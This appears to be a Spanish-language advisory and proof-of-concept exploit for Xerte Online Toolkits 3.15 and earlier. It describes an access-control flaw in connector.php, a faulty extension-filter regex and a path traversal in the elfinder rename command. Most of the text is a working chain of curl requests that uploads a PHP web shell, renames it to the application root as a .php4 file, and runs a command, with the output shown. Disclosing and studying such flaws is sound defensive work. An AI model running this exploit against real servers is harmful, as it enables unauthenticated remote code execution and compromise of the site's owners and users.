
Exploit no autenticado de Xerte Online Toolkits. Requiere conocer un nombre de usuario válido.
Las versiones 3.15 y anteriores de Xerte Online Toolkits sufren de 3 vulnerabilidades en el componente /editor/elfinder/php/connector.php, que pueden ser encadenadas por un atacante no autenticado para lograr Ejecución Remota de Código (RCE).
Xerte Online Toolkits <= 3.15
Se ha aplicado un parche retroportado a las versiones 3.15, 3.14 y 3.13
Los usuarios no autenticados pueden realizar solicitudes al componente connector en /editor/elfinder/php/connector.php
El siguiente código se utiliza como control de acceso.
Archivo: /editor/elfinder/php/connector.php Número de línea: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
Esto redirige a los usuarios no autenticados impidiéndoles recibir la respuesta de las solicitudes no autenticadas, sin embargo esto no termina la sesión y el código posterior aún se ejecuta.
*Requiere que el atacante conozca el nombre del archivo que quiere mover
Los atacantes pueden manipular el parámetro "name" en una solicitud "rename" al endpoint connector.php. Esto permite a los atacantes usar un directorio existente para mover archivos fuera del directorio de medios del usuario.
Debido a un error en la expresión regular del filtro de extensiones de archivo en connector.php, los atacantes pueden encadenar una vulnerabilidad de salto de ruta presente en las mismas versiones de Xerte para mover un archivo con código PHP malicioso a la raíz de la aplicación con una extensión .php4.
Archivo: /editor/elfinder/php/connector.php Número de línea: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
La expresión regular php* solo coincide con el carácter precedente. Por lo tanto, coincidiría con "ph", "php", "phppp", etc...
Si la autenticación está habilitada (que no es la configuración predeterminada de Xerte), entonces un atacante debe conocer (o forzar por fuerza bruta) el nombre de usuario de un usuario válido. Si se usa la autenticación de Invitado (la predeterminada), entonces el directorio del proyecto objetivo sería simplemente 1--Nottingham.
Un atacante no autenticado puede crear un directorio "example_dir" y subir un archivo "file.txt" con código PHP malicioso a cualquier directorio de proyecto bajo USER-FILES/
Luego puede usar las vulnerabilidades de Salto de Ruta Relativo y Lista Incompleta de Entradas No Permitidas presentes en Xerte para realizar un salto de ruta cambiando el nombre del archivo subido a "example_dir/../../../../file.php4", moviendo file.txt a la raíz de la aplicación como "file.php4", otorgando al atacante ejecución remota de código.
curl 'http://localhost/xt/setup'
Parámetros de la solicitud: uploadDir: Raíz de la aplicación + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL del directorio del proyecto cmd: mkdir name: El nombre del nuevo directorio target: El id de elfinder del directorio media/. Debido a que esta es la raíz de elfinder, siempre será "l1_Lw"
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*La etiqueta
en el payload evita que el filtro de tipo MIME de elfinder detecte código PHP.
Parámetros de la solicitud: uploadDir: Raíz de la aplicación + USER-FILES/{project id}-{user}-Nottingham/ uploadURL: URL del directorio del proyecto cmd: upload target: El id de elfinder del directorio media/. Debido a que esta es la raíz de elfinder, siempre será "l1_Lw" upload[]: El archivo a subir.
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
Asegúrese de eliminar el relleno (padding), en este caso es solo "="
Agregue el identificador de volumen. Este siempre será "l1" (como en "/")
Resultado: l1_ZmlsZS50eHQ
Parámetros de la solicitud:
uploadDir: Raíz de la aplicación + USER-FILES/{project id}-{user}-Nottingham/
uploadURL: URL del directorio del proyecto
cmd: rename
name: El nombre del directorio, la secuencia de salto de ruta y el nuevo nombre de archivo con extensión .php4
target: El id de elfinder que generamos a partir del nuevo archivo l1_ZmlsZS50eHQ
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
Parámetros de la solicitud: cmd: El comando a ejecutar
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)